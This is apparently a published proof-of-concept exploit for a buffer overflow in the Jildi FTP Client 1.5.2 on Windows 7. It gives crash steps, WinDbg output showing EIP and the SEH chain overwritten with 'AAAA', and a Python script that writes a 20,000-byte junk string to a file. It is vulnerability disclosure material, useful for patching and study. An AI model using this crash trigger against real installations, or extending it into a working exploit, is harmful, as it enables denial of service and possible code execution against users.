Jildi FTP Client – Buffer Overflow (PoC)
#!/usr/bin/python #Exploit Title:Jildi FTP Client Buffer Overflow Poc #Version:1.5.2 Build 1138 #Homepage:http://de.download.cnet.com/Jildi-FTP-Client/3000-2160_4-10562942.html #Software Link:http://de.download.cnet.com/Jildi-FTP-Client/3001-2160_4-10562942.html?hasJs=n&hlndr=1&dlm=0 #Tested on:Win7 32bit EN-Ultimate #Date found: 02.06.2015 #Date published: 02.06.2015 #Author:metacom ''' =========== Description: =========== JilidFTP is a powerful ftp-client program for Windows, it fast and reliable and with lots of useful features. It supports multi-thread file upload or download , so you can upload or download several files at the same time. The job manager integrates with the Windows scheduler engine ,this provide you more freedom and flexibility to upload or download your files. It can also traces changes within a local directory and apply these changes to remote ftp server .The user-friendly interface lets your software distribution, uploading files to a web-server, and providing archives for various purposes more easily. ============ How to Crash: ============ Copy the AAAA...string from Jildi_FTP.txt to clipboard, open Jildi Ftp and press Connect and paste it in the Option -- Name or Address --and press connect. =============================================== Crash Analysis using WinDBG: Option --> Address =============================================== (f6c.4fc): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000 eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? 0:000> !exchain 0012ef40: 41414141 Invalid exception stack at 41414141 ============================================ Crash Analysis using WinDBG: Option --> Name ============================================ (2ec.dac): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000 eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? 0:000> !exchain 0012ef40: 41414141 Invalid exception stack at 41414141 ''' filename="Jildi_FTP.txt" junk1="\x41" * 20000 buffer=junk1 textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |